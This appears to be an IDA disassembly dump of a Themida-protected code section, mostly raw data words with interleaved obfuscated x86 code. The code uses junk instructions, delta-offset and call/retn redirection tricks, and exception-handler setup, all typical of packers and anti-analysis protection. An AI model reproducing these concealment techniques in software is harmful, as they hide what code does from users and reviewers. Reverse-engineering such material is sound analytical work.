dd 2CA0BB66h, 6651505Bh, 965BFE8Bh, 2D1BD23h, 0B5FF07E4h
dd 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0BEC35646h, 0E98A8435h, 0DF25C916h, 5E9h, 0B3295B00h
dd 95FFF2E6h, 7E41B11h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0F4C35343h, 1AEA0A34h, 0BD83FD8Ah, 7E40DF9h
dd 5A840F00h, 0E9000000h, 0Eh, 9ABE0BE0h, 23972F5h, 20FED821h
dd 0E850708Ch, 12h, 0DDFC58A8h, 44656D9Bh, 5403DB23h, 42A3677Fh
dd 0FD8A78DAh, 2434895Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 0F2C35747h, 6DBD89A4h, 8B07E42Dh, 0E40595BDh
dd 0A5B5FF07h, 5707E7F8h, 9258589h, 0FF5F07E4h, 0E4027D95h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 50A035F2h, 23898589h, 0FF5F07E4h, 0E7F8A5B5h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0B32EADCBh, 0AC66D37Dh, 1FDBD0Bh, 9D8B07E4h
dd 7E432A9h, 97195FFh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 6D289AC3h, 0C09EA5C4h
dd 0F5256AAh, 8Bh, 0F5F5F00h, 82h, 21BD8300h, 207E40Ah
dd 51840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 0D9B34AC3h, 0F3EBDAE7h, 8BB7F581h
dd 0E41EB585h, 859D3307h, 0C607E422h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 0C7D3FFC3h, 0E4267185h, 7, 358D0900h, 0E907E40Bh, 0FFFFF2F2h
dd 1B758529h, 0C18B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 7DC35747h, 16E94Dh, 6050000h, 606Bh
dd 4 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5D3310
; ---------------------------------------------------------------------------
db 0B0h, 0D8h, 0B6h
dd 13330C22h, 738D697Fh, 0D6EAC9DFh, 35512C42h, 2922C8A1h
dd 889E324Eh, 0E6FC90AEh, 485EF208h, 0CBF536Bh, 0A918DF5Ch
dd 71B613ABh, 617956E2h, 64805B29h, 0D350B214h, 1442A02Ch
dd 21D641AAh, 0AD1442A0h, 0FA103244h, 0EA910E1Dh, 681442A0h
dd 0A06EA6FFh, 0A573ABC3h, 1074ACCCh, 0BCDAB452h, 3AD7E984h
dd 0D4B14F0Ah, 0B390AABCh, 13F1079Bh, 9FD7EBCAh, 117AB04h
dd 7D50D23h, 20D70F2Dh, 44221D49h, 0A7849A2Eh, 0D0AA578Fh
dd 0CD1442A0h, 0D7285410h, 0E05C11h, 6Fh, 61795629h, 0A0817C29h
dd 0E3A01442h, 1204FBA3h, 1D1E05Ch, 0FA000000h, 0D5D7D56h
dd 437B916Fh, 477F9975h, 7B4153ACh, 64B4D4ADh, 0A0FE8502h
dd 0F35C1442h, 6E4D1BE1h, 906C0A5Ah, 0BCE346Fh, 30899E73h
dd 77F4581Eh, 577750CFh, 6D4BE9C3h, 0F72F4724h, 0D7F1035Ch
dd 0F492E2FAh, 0C9EBFD19h, 80A87DEFh, 0DA5D79Bh, 528AA681h
dd 92D0A5B7h, 976D020h, 62B2FDA0h, 42FA1EE5h, 4153BC14h
dd 20FD4C27h, 6BBA7001h, 6AC3B5EDh, 0EE3E9732h, 0F812EE8Ch
dd 0C5BA25C0h, 911442A1h, 0BE501628h, 867DFA5Ch, 541442A2h
dd 0A2FB80EBh, 0EE571442h, 817E6C8Eh, 0FE10D50Eh, 0DEB80BE4h
dd 0DEBA88C0h, 0DA126BC4h, 0AC93D39Ch, 0BA41BED1h, 181442EAh
dd 5864FAFh, 7E7E441Dh, 5B37D525h, 5C6E0941h, 2F47243Ah
dd 0C1A66DDFh, 54B1379h, 835F2DF3h, 86973169h, 51919EDEh
dd 0A947E05Bh, 87A17DD0h, 4B28F62Eh, 29C8DA33h, 8Ch, 1BF49252h
dd 0F4CFE9FBh, 700EA0D8h, 7C038097h, 0DA1442A0h, 12E01871h
dd 0B3C51E34h, 6BA3BD99h, 63DA8A07h, 0AA1C6C88h, 17E95C9Ch
dd 0BFDBB6D6h, 0E200DA66h, 0DBFD0FAAh, 96CEEAC5h, 9DD5E9C8h
dd 7B2F203h, 3E768A69h, 79B691A3h, 7EE05C0Fh, 71h, 5F7B56A7h
dd 327B5927h, 2973556h, 380A44FAh, 0B30CA7DFh, 6F179A7Bh
dd 9AB08E2Ch, 0AC53D062h, 2A1442DEh, 6D0868C1h, 0BEFA765Eh
dd 0DFBAD4E6h, 6199B590h, 8D96DC6h, 0CCB33092h, 8A1442A0h
dd 1CF50F21h, 593AACFCh, 716EC66Eh, 7522E8FAh, 14421F8Bh
dd 0EE82F0Eh, 915F97F0h, 0AC639BB5h, 0DFE191D5h, 0C53A6222h
dd 12E05B52h, 1, 607A563Bh, 657D5A28h, 0E79F762Dh, 0EE829C78h
dd 9EEEC0CFh, 0A691EB21h, 840A913h, 0F5455D3Ah, 18F593h
dd 3DC22DC8h, 9913A692h, 0E6FC1E30h, 27B9F109h, 1399B0B5h
dd 8D9FF179h, 0A6FEE994h, 0EC981B13h, 16360FADh, 0F50DEA04h
dd 236E4B61h, 85D52E46h, 0E1F309E7h, 58704D1Bh, 6D19E220h
dd 0ADFD15F2h, 0D720683Bh, 8799B7EBh, 31718E65h, 66D877h
dd 8F000001h, 1C6C424Dh, 2E81A27Eh, 8E982936h, 0A17F91EAh
dd 0A6D57A24h, 5FAF1813h, 29FB80FDh, 0EE5713A6h, 6B4816DCh
dd 0CCA9BF53h, 4CEA7CB4h, 8520586Eh, 647C5973h, 6125EE2Ch
dd 750921FEh, 7788619Eh, 58D537D8h, 13A625A3h, 15B4C62Fh
dd 41h, 6A444D3Eh, 5F069D1Ah, 0E3556BBDh, 0D8495C8Ah, 79586AA3h
dd 542BD810h, 5694426Ah, 6A4D78Fh, 0DBFE102Ah, 46A8F8B6h
dd 0A27FCCA8h, 5EB7528Ah, 80798B26h, 0EBBD951Bh, 6C3ACE37h
dd 6Fh, 6C424DFBh, 0B9F59F1Ch, 0FE9C13A6h, 35D00822h, 0A3DB4423h
dd 4CE0F8D5h, 9415936h, 0A6BA5C5Ch, 7E1CE013h, 0B8538B9Fh
dd 0E25D09A6h, 3A59ED05h, 0A7095955h, 1132D09h, 4FB24808h
dd 54A91B14h, 96A99F1Bh, 8DF6D5E7h, 0E461C355h, 1B8F701Fh
dd 19DE5BBBh, 0B51B8F70h, 0C7E1F34Ch, 0E39AD2EAh, 0B3DC580Ch
dd 722EABFBh, 401C6679h, 4D7243D7h, 425E3942h, 0D53799E9h
dd 42A0A358h, 0B4C62F14h, 0ABA9FFBBh, 1464CD13h, 457D9D76h
dd 4A829A77h, 7E4456AFh, 27BBD3B0h, 0BE93411h, 75CEE4C2h
dd 4737E41Ch, 0D27429A3h, 0D5A3DBF7h, 67A5DDFBh, 88AAE69Eh
dd 7E45B0Bh, 0E5101CE8h, 0CA231E59h, 24432036h, 250B94CAh
dd 442D34ECh, 99397D8Eh, 0E1AFE740h, 0C562E702h, 65C7BC39h
dd 2A937B29h, 0FA0466CAh, 714C449Ah, 6EC7C6E5h, 0FCA87F36h
dd 0F88CA481h, 0B5ED05E2h, 0F2Fh, 3E17B500h, 64BE1Eh, 20F26ED9h
dd 3E8D390Eh, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h
dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
dd 0E38953EEh, 4C381h, 0EB830000h, 241C3304h, 33241C31h
dd 535C241Ch, 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push edx
mov edx, 7E9095Ah
mov ebx, edx
mov edx, [esp]
add esp, 4
push esp
mov edi, [esp]
add esp, 4
push esi
mov esi, ebx
mov [edi+8], esi
mov esi, [esp]
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_58A287
; ---------------------------------------------------------------------------
dd 0FE86E03Eh
; ---------------------------------------------------------------------------
loc_5D3310: ; CODE XREF: Themida_:005D2DE0j
mov eax, 7E90E02h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 89h, 5Bh, 20h
dd 5D54605Eh, 0D114857h, 1CFDE5Bh, 0BD372457h, 0D17B5E56h
dd 4D891A7Bh, 0DE21667Eh, 0F82E851Bh, 4B31B2Fh, 45AD076Bh
dd 143BD533h, 0CC39A129h, 0F87FB68h, 92400A34h, 0CE001744h
dd 7B3B2525h, 4B55DD4Bh, 39BA0A60h, 0BE2E3937h, 0B76E2A5Fh
dd 0FC96E131h, 0AD172B7Bh, 413FE53Bh, 0D1AB6327h, 0DFA1231Fh
dd 0A62AE861h, 0C5778600h, 6C3D3678h, 46504B56h, 85858D74h
dd 6A07E40Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 190AC355h, 4116D1A5h, 8FCE5C99h
dd 0E950DD8Ah, 5, 46E715F7h, 240489BCh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 9666EDABh
dd 6AD5898Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 6EDFC278h, 6A006AE5h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C94C353h
dd 7BE3477Ah, 9D8B896Eh, 7E4273Dh, 1117858Dh, 6A07E9h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 23265CC3h, 0E40105BDh, 5C08307h, 2518589h, 0F5007E4h
dd 688h, 0F19D8B00h, 5F07E40Eh, 0C1BDBB90h, 8B502F8Fh
dd 6A90D8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0DABD09C3h, 0E53F11C9h, 0D78166F9h, 6A8F98h
dd 6AF8B70Fh, 5DBF6600h, 7195FFC3h, 8107E424h, 627821C3h
dd 4B8D8D70h, 2907E7D6h, 0E42D5185h, 6AD1FF07h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 5E29C356h, 3C7D9205h, 85BD8B7Eh, 8007E400h, 0BD83CADFh
dd 7E42015h, 97850F01h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B63C355h
dd 8929A1F3h, 8D091DEEh, 7E42FD1h, 6A026Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8C0FCBC3h
dd 3, 5076CF80h, 3850Fh, 8B660000h, 240489FBh, 95FFDA8Bh
dd 7E431ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 85C35545h, 0FE8CAh, 25FB0000h, 7871A5F9h, 4BC5078Bh
dd 0D774168Ah, 0B7E95F55h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D35A7: ; DATA XREF: Themida_:005826DCo
call $+5
pop ebp
sub ebp, 7E91121h
mov ebx, [ebp+7E40DADh]
mov di, si
push 0
push ebp
call sub_5D35C7
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D35C7 proc near ; CODE XREF: Themida_:005D35BFp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5D35C7 endp
; ---------------------------------------------------------------------------
db 6Fh
; ---------------------------------------------------------------------------
aad 0F9h
lea eax, [ebp+7E7C6E1h]
nop
jmp loc_5D35FA
; ---------------------------------------------------------------------------
dw 0A6EBh
dd 83BF21D3h, 940A6609h, 456B725Fh, 0D8A2EC65h
; ---------------------------------------------------------------------------
leave
daa
loc_5D35FA: ; CODE XREF: Themida_:005D35E1j
push eax
nop
mov [ebp+7E42FBDh], ecx
jmp loc_5D3610
; ---------------------------------------------------------------------------
db 6Eh
dd 6862340Ch, 0DA06027Ch
; ---------------------------------------------------------------------------
loc_5D3610: ; CODE XREF: Themida_:005D3602j
push large dword ptr fs:0
push 0
push eax
call sub_5D3622
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3622 proc near ; CODE XREF: Themida_:005D361Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5D3622 endp
; ---------------------------------------------------------------------------
dw 0C949h
dd 1AC8E326h, 0BD8B9AA0h, 7E41E2Dh, 258964h, 3000000h
dd 0E41BB59Dh, 0B985FF07h, 3107E420h, 0E423D195h, 0BBFF6A07h
dd 47C12D63h, 1D49B5FFh, 9D8B07E4h, 7E41E35h, 304D95FFh
dd 0E3E907E4h, 8B000000h, 0E416699Dh, 0E600B007h, 71E4F570h
dd 0A8D8D89h, 613C07E4h, 0C8830Fh, 9D8B0000h, 7E42DD5h
dd 66C8B60Fh, 0D35DF381h, 6BAh, 0C18BF500h, 0F504E8C1h
dd 66E2F766h, 85BFFA8Bh, 2B4EC85Dh, 0C19D8BC8h, 8B07E41Eh
dd 358589D1h, 0E907E424h, 13h, 47B232D5h, 93CCB86Bh, 0BC8FF90Fh
dd 42980DC3h, 0E9AD49F1h, 76h, 33119D03h, 858B07E4h, 1
dd 0EF8166F5h, 0C0835BA8h, 0BD958907h, 8307E424h, 0BD8B00C0h
dd 7E41BE5h, 830FD03Bh, 6, 45E9h, 8D8BF800h, 0FFFFFFFFh
dd 18358509h, 0E18307E4h, 2F840F01h, 0F9000000h, 0FFFFA583h
dd 50FEFFFFh, 0BE9h, 7C5FBE00h, 0E40604ABh, 0A39AA88h
dd 195895Bh, 0F000000h, 484h, 6CBB6600h, 0E9D0h, 0B58D0000h
dd 7E88A37h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 24C35040h, 219D8B4Bh, 6A07E406h, 859D2900h, 0FF07E40Fh
dd 0E40E4195h, 19D8B07h, 0B907E433h, 0F6Eh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F2C35242h, 0D0ADED90h
dd 2C120319h, 0DE9EFh, 38A00000h, 226E32F9h, 339B9BC3h
dd 839E4E8Ah, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 0C65535C3h, 97241D61h, 84EF80DCh
dd 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 29AA1887h, 0F1B5898Ch, 2B07E40Eh, 8644BBC0h
dd 0BA4411h, 0E8000000h, 0Ch, 4CB0E651h, 39CC9EF9h, 0E6B4FFD4h
dd 33AD5FFCh, 3E8D1C2h, 4E983D0h, 10E9F475h, 0C1000000h
dd 0DC72675h, 749F17F4h, 85454BAEh, 6A80D6B8h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 241CC350h, 810FFA34h, 14h, 0FE9h, 0D1908600h, 0A75889DBh
dd 0C4542A8Ah, 610727E2h, 880Dh, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 83B334EBh
dd 0F164AF9Dh, 9D89E9DBh, 7E42375h, 35659D8Bh, 958B07E4h
dd 7E41B71h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 0A4C35545h, 83D94750h, 918D2903h, 8B07E406h, 0E42DA18Dh
dd 0D88B6607h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 0BF0F5818h, 9BD33DEh, 8307E425h, 0E40611BDh, 840F0007h
dd 79h, 1EC19529h, 0BD8B07E4h, 7E422B5h, 0B8h, 0AE800h
dd 49670000h, 52F3A68Bh, 578DB984h, 3341B589h, 8D5F07E4h
dd 0E44FE78Dh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 532820BAh, 89CDA452h
dd 0E406618Dh, 6AE1FF07h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 8915C353h, 0E41CD9BDh
dd 0B9BD8307h, 7E422h, 435840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 7BA9D0C3h
dd 0AE98Ch, 6CB90000h, 37E83AC4h, 4B3C98E7h, 18A19D8Bh
dd 0BD8307E4h, 7E422B9h, 0F840F01h, 6A000004h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 7364C353h, 3FDBAFDAh, 0C99D8D4Fh, 860FFB8Bh, 6, 2AB59D8Bh
dd 0BD8307E4h, 7E422B9h, 99860F03h, 6A000003h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0E861C350h, 5, 278D8956h, 0F8E0F38h, 0E9000000h, 0Ah
dd 256367BFh, 0E0D91h, 235B0200h, 0E402119Dh, 6A6007h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 66CAAEC3h, 870FD98Ch, 0Ah, 5E9h, 0D816C600h, 0E180CE5Dh
dd 699D8904h, 0A07E425h, 54840FC9h, 1000001h, 0E41F3985h
dd 51858B07h, 6A07E406h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 0B99BC350h, 2201D86Ah
dd 13E8534Ch, 84000000h, 63C6E795h, 8B73C3FAh, 774FC930h
dd 4D94F02Dh, 10E9F86Ch, 28000000h, 0C641AD04h, 0C1BAF195h
dd 5BA420E6h, 5F76CC2Dh, 20298533h, 9DBB07E4h, 504138D3h
dd 0FA8B5250h, 0DE8B310Fh, 489585Ah, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 38BB668Eh
dd 9E924h, 4C830000h, 0C0742922h, 6AB8FE20h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 6365829Fh, 9F69EA3h, 9D890413h, 7E42031h, 9D090EB7h
dd 7E4313Dh, 4DDCBE68h, 3056BFEBh, 481277Eh, 0D1274124h
dd 8BF96014h, 0E43235B5h, 30BF6107h, 0FF2E537Ah, 0E42D9995h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 85890320h, 7E7F8A5h, 6860Fh, 8D090000h
dd 7E41879h, 16CE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 12847D6Ah, 8B2D9677h
dd 0E7F89D85h, 68F0F07h, 81000000h, 0F4C3F6EFh, 1800C753h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 89D3C353h, 24DE4860h, 0A1B58B5Eh
dd 8907E7F8h, 0E4192595h, 99858B07h, 8907E400h, 0E41641BDh
dd 0F5068907h, 651858Bh, 6A07E4h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0FE8083C3h, 0C2EB6B18h
dd 7C529EBBh, 0C781664Bh, 9D8B969Fh, 7E40E11h, 1044689h
dd 0E41D859Dh, 0BB665007h, 34899B69h, 51006A24h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 0C4BA725Ch, 2D059D8Bh, 8B6607E4h, 9DB5FFF9h, 8907E7F8h
dd 0E42ED995h, 73726807h, 34811E3Eh, 21708D24h, 0A59D231Eh
dd 8D07E42Fh, 0E7F8A585h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 84C168BDh
dd 50DFB70Fh, 0FD4DBA60h, 8B6643B8h, 48961D8h, 51006A24h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 9D311FFFh, 7E42651h, 5439EB81h, 95FF6116h, 7E42D99h
dd 6A61F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 89D2D7C3h, 0E4228D8Dh, 0B985C707h, 307E422h
dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 62F2C355h, 9D8B3A06h, 7E41639h
dd 14AD9D8Bh, 0BD8307E4h, 7E7F8A5h, 11840F00h, 66000000h
dd 0E9CDFDBFh, 23h, 9B53150h, 5F07E423h, 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0B9D5C352h, 9CDAEE5Ch, 22B9BD83h
dd 0F0307E4h, 3D085h, 0FBB70F00h, 0F8A5BD83h, 0F0007E7h
dd 3C084h, 0B5FFFC00h, 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 7DC35545h, 0B4887ECEh, 0FE88389h
dd 0C1000000h, 0E43D0D86h, 9D691579h, 0D42D738Dh, 8A0FA5C3h
dd 2, 0FF5BF88Bh, 0E4044D95h, 0D8BF6607h, 99B58B3Ah, 8B07E7F8h
dd 0E408819Dh, 106C707h, 6A000100h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0AFBAC356h
dd 0E14FE3BBh, 8D899116h, 7E40439h, 3BB6650h, 2434890Bh
dd 0CE8h, 0A777F900h, 225D24B3h, 1D4784D0h, 5FDF8B3Ah
dd 0F8A5B5FFh, 8D8907E7h, 7E40E89h, 2A0995FFh, 0D98B07E4h
dd 25F19589h, 0B58B07E4h, 7E7F899h, 1ADD8D89h, 858B07E4h
dd 7E43165h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 12C35343h, 4980E47Eh, 0F88B662Eh, 0C48689h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0A7485FC3h, 8824407Ah, 958BFA8Bh, 7E41B71h, 27959589h
dd 0C28307E4h, 89FA8B04h, 8D892050h, 7E41CA5h, 0CD4858Dh
dd 6A07E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 6A7FA1C3h, 0B2F9B8EEh, 89F6409Ch, 0E4213D8Dh
dd 5DBD8B07h, 8907E405h, 0B886h, 29B58900h, 0F07E414h
dd 6AF8B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 82C35242h, 348DC415h, 36D7FF2Dh, 0A5B5FFEAh, 6A07E7F8h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0C9D0C357h, 8166232Fh, 0FFCFB6F7h, 0E431AD95h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 510EEC71h, 0AC3BB11Fh, 30319589h, 0BF9607E4h
dd 2A9F104Eh, 0EE950h, 0FF250000h, 0F755AC9Fh, 0B00BE280h
dd 0E2B3E57Bh, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0FF259F8Eh, 0E7F8A5B5h
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0FE91A466h, 68E386BFh, 0BF66CC77h, 95FF1BC1h
dd 7E41B11h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 92C35040h, 8EA4E512h, 0B0D9D8Bh, 0BD8307E4h, 7E40DF9h
dd 26840F00h, 0F000000h, 686h, 79BD0900h, 9607E40Dh, 9E9h
dd 680EA500h, 78C43AF8h, 5050CAE4h, 0DE8B6652h, 585A310Fh
dd 0A5B5FF96h, 0F07E7F8h, 0C8Eh, 68D0F00h, 89000000h, 0E409598Dh
dd 7D95FF07h, 6A07E402h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 0C402C357h, 0E59D8B00h
dd 0FF07E418h, 0E7F8A5B5h, 48A0F07h, 52000000h, 0FF5B6160h
dd 0E4097195h, 68F0F07h, 33000000h, 0E43011BDh, 21BD8307h
dd 207E40Ah, 77840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 889E5DC3h, 0BD0BE254h
dd 7E420F5h, 1EB5858Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 0BBE167C3h, 6B3D5915h
dd 0DE960h, 9EEE0000h, 0D7694F5Bh, 534BCC70h, 666C3767h
dd 6121ACB9h, 0E1BD0160h, 8107E418h, 692833D3h, 0C66117h
dd 7185C700h, 7E426h, 29000000h, 0E40D318Dh, 0F433E907h
dd 880FFFFFh, 6, 2301BD31h, 8D2907E4h, 7E42639h, 6AC18Bh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0C249FCC3h, 0CBFFDB81h, 858D5C53h, 7E40D85h, 8B666090h
dd 8B5250D9h, 0B5310FCAh, 61585AABh, 12E950h, 1D730000h
dd 4C9C5ECEh, 2E989985h, 24427D70h, 0E4B11E02h, 0A5BD0390h
dd 6A07E41Fh, 85BD8B00h, 6A07E402h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 36965EC8h
dd 12E994DBh, 0CB000000h, 0A1EC12C3h, 0B9125EECh, 0DE2AB413h
dd 3EEAB696h, 69950114h, 8D07E40Fh, 0E91F3C85h, 0C083F507h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 7252E92Eh, 9D8BD780h, 7E40291h, 8E990h
dd 0BB480000h, 58DD93BAh, 8B50DE9Bh, 6A90DEh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 7900DDC3h
dd 8B2BC1F9h, 0E422B5BDh, 80006A07h, 6A54EBh, 95FF23B3h
dd 7E42471h, 9159D8Bh, 8D8D07E4h, 7E7D64Bh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 20C35242h, 0B0702BF6h
dd 0CF80F956h, 8AD1FFCCh, 15BD83F9h, 107E420h, 31850Fh
dd 26A0000h, 1A419589h, 0BD8B07E4h, 7E42251h, 9F33BF50h
dd 489347Bh, 25BD8B24h, 8B07E40Ah, 0E4194D9Dh, 0AD95FF07h
dd 0F07E431h, 287h, 0E985B300h, 0F11h, 0E8h, 0ED815D00h
dd 7E91F46h, 1FF99D89h, 9D8B07E4h, 7E422F9h, 0C6E1858Dh
dd 0E38107E7h, 5C46A629h, 24048950h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0FFC35545h, 0E7555CAEh, 7E91506h
dd 8E000000h, 0CA99A73Dh, 0FF64F503h, 35h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 662C4B27h, 44E9C781h, 1A4D9501h, 896407E4h, 25h, 7622BB00h
dd 85FF3177h, 7E420B9h, 22418D89h, 860F07E4h, 0Eh, 9E9h
dd 5E5F9000h, 0C02D263h, 0FF6A5308h, 18A98D89h, 0B5FF07E4h
dd 7E41E8Dh, 3860Fh, 8B660000h, 4D95FFD8h, 0E907E430h
dd 142h, 6860Fh, 0D7810000h, 35923030h, 0B0DA8Bh, 0CE9h
dd 45CF6900h, 99DA2D91h, 16F506C7h, 2970E64Dh, 0E41AB58Dh
dd 8B71E407h, 0E426E99Dh, 0F613C07h, 10983h, 14FABB00h
dd 0BD8B1BF0h, 7E429DDh, 8BC8B60Fh, 0E42BB1BDh, 6BA07h
dd 0BD030000h, 7E422B1h, 0E8C1C18Bh, 9D895104h, 7E41F3Dh
dd 0E2F7665Bh, 60DF8B66h, 0A4A1DF81h, 858B1A53h, 7E40F95h
dd 0E8C82B61h, 0Dh, 0DE740FD8h, 8847C9B8h, 35627B57h, 3DADBF10h
dd 8B5F1BB1h, 11E9D1h, 16910000h, 78F001h, 9B80864Ah, 3BD7AAE6h
dd 667FA85Ah, 0E9DD25BBh, 8Eh, 8BDFBF0Fh, 485h, 9D9D3100h
dd 0FC07E42Bh, 6607C083h, 42A8C381h, 0B300C083h, 0FD03BFAh
dd 2883h, 0CE900h, 27E50000h, 489E9DC0h, 6CBA4ABCh, 53E924BFh
dd 0F000000h, 682h, 75958900h, 3107E42Dh, 0E403D1B5h, 0FF8D8B07h
dd 9FFFFFFh, 0E4144DB5h, 1E18307h, 2C840Fh, 0BD8B0000h
dd 7E43209h, 0FFFFA583h, 0BFFEFFFFh, 7457705Ch, 0AE9h
dd 0F732D800h, 4981FF87h, 895CDC1Dh, 495h, 0E900h, 0B58D0000h
dd 7E899A5h, 13959531h, 6A07E4h, 0E857006Ah, 3, 5FC35F20h
